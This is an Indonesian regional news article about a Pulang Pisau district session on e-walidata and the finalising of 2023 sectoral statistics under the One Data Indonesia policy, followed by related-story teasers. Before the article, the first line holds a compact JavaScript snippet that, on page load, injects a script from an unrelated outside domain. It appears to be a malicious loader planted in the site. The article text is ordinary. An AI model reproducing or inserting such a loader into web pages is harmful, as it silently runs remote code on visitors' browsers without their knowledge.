(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Era keterbukaan informasi publik, Dinas Kominukasi dan Informatika (Diskominfo) Kabupaten Pulang Pisau menggelar sosialisasi e-walidata dan finalisasi data statistik tahun 2023.
Saat membuka acara, Jumat (24/11/2023), Asisten III Setda Kabupaten Pulang Pisau, Adriani mengatakan, sekarang memasuki era keterbukaan informasi publik data memiliki fungsi sangat strategis, selain sebagai dasar suatu perencanaan dan membuat keputusan. “Data juga sebagai alat pengendali, serta evaluasi terhadap pelaksanaan suatu pembangunan,” ujar Adriani.
Untuk mendukung pembangunan daerah, diperlukan sinergi antara Organisasi Perangkat Daerah (OPD) sebagai penyedia produsen data yang merupakan sumber data statistik sektoral.
Dengan kegiatan ini diharapkan kesadaran dan partisipasi aktif dari seluruh Satuan Organisasi Perangkat Daerah (SKPD) khususnya dalam hal penyediaan data sektoral. Diman data tersebut nantinya akan di-input melalui e-walidata. “Dikelola oleh OPD masing-masing dan selanjutnya diteruskan ke Diskominfo sebagai walidata,” jelasnya.
Baca juga: Deklarasi Damai Pemilu 2024 di Kecamatan Beruntung Baru
Sebelum data tersebut dipublikasikan, perlu dilakukan sinkronisasi dan finalisasi data untuk menyamakan persepsi, agar data yang dihasilkan merupakan data final siap untuk dibagi pakaikan.
“Dengan data sektoral yang akurat dan berkualitas yang bermuara kepada Satu Data, maka pembangunan akan lebih terarah,” ujarnya.
Berdasarkan Peraturan Presiden Nomor 39 Tahun 2019 tentang Satu Data Indonesia, dimana kebijakan tata kelola data pemerintah untuk menghasilkan data yang akurat, mutakhir, terpadu, dan dapat dipertanggungjawabkan. “Serta mudah diakses dan dibagi pakaikan antar instansi pusat dan instansi daerah melalui pemenuhan standar data,” sebutnya.
Satu Data sangat penting karena data akan menjadi dasar dan bahan pertimbangan pemerintah dalam mengambil suatu keputusan kebijakan.
“Satu Data Indonesia adalah kebijakan tata kelola data pemerintah untuk menghasilkan data yang akurat, mutakhir, terpadu, dan dapat dipertanggungjawabkan, serta mudah diakses dan dibagi pakaikan antar instansi,” tutupnya. (Kanalkalimantan.com/zul)
Reporter : zul
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
This website uses cookies.